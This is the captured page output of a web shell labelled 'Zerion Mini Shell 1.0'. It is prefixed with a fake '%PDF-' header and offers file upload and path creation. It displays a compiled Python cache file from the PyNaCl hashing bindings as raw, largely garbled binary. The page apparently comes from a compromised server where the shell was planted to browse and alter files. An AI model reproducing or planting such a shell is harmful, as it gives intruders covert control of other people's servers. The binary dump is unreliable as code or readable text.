%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib/python3/dist-packages/nacl/bindings/__pycache__/
Upload File :
Create Path :
Current File : //lib/python3/dist-packages/nacl/bindings/__pycache__/crypto_hash.cpython-312.pyc

�

�f����UddlmZddlmZmZddlmZej�Z	e
ed<ej�Z
e
ed<ej�Ze
ed<dedefd	�Zdedefd
�Zdedefd�Zy)
�)�
exceptions)�ffi�lib)�ensure�crypto_hash_BYTES�crypto_hash_sha256_BYTES�crypto_hash_sha512_BYTES�message�returnc���tjdt�}tj||t|��}t
|dk(dtj��tj|t�ddS�zb
    Hashes and returns the message ``message``.

    :param message: bytes
    :rtype: bytes
    zunsigned char[]rzUnexpected library error)�raisingN)
r�newrr�crypto_hash�lenr�exc�RuntimeError�buffer�r
�digest�rcs   �;/usr/lib/python3/dist-packages/nacl/bindings/crypto_hash.pyrrsZ���W�W�&�(9�
:�F�	�����#�g�,�	7�B�
�2��7�.��8H�8H�I��:�:�f�/�0��3�3�c���tjdt�}tj||t|��}t
|dk(dtj��tj|t�ddSr
)
rrrr�crypto_hash_sha256rrrrrrs   rrr(�\���W�W�&�(@�
A�F�	�	�	����W��	>�B�
�2��7�.��8H�8H�I��:�:�f�6�7��:�:rc���tjdt�}tj||t|��}t
|dk(dtj��tj|t�ddSr
)
rrr	r�crypto_hash_sha512rrrrrrs   rrr5rrN)�naclrr�nacl._sodiumrr�nacl.exceptionsr�crypto_hash_sha512_bytesr�int�__annotations__�crypto_hash_sha256_bytesrr	�bytesrrr�rr�<module>r(s��� #�!�"�6��5�5�7��3�7� <�� <� <� >��#�>� <�� <� <� >��#�>�
4��
4�5�
4�
;��
;�%�
;�
;��
;�%�
;r

Zerion Mini Shell 1.0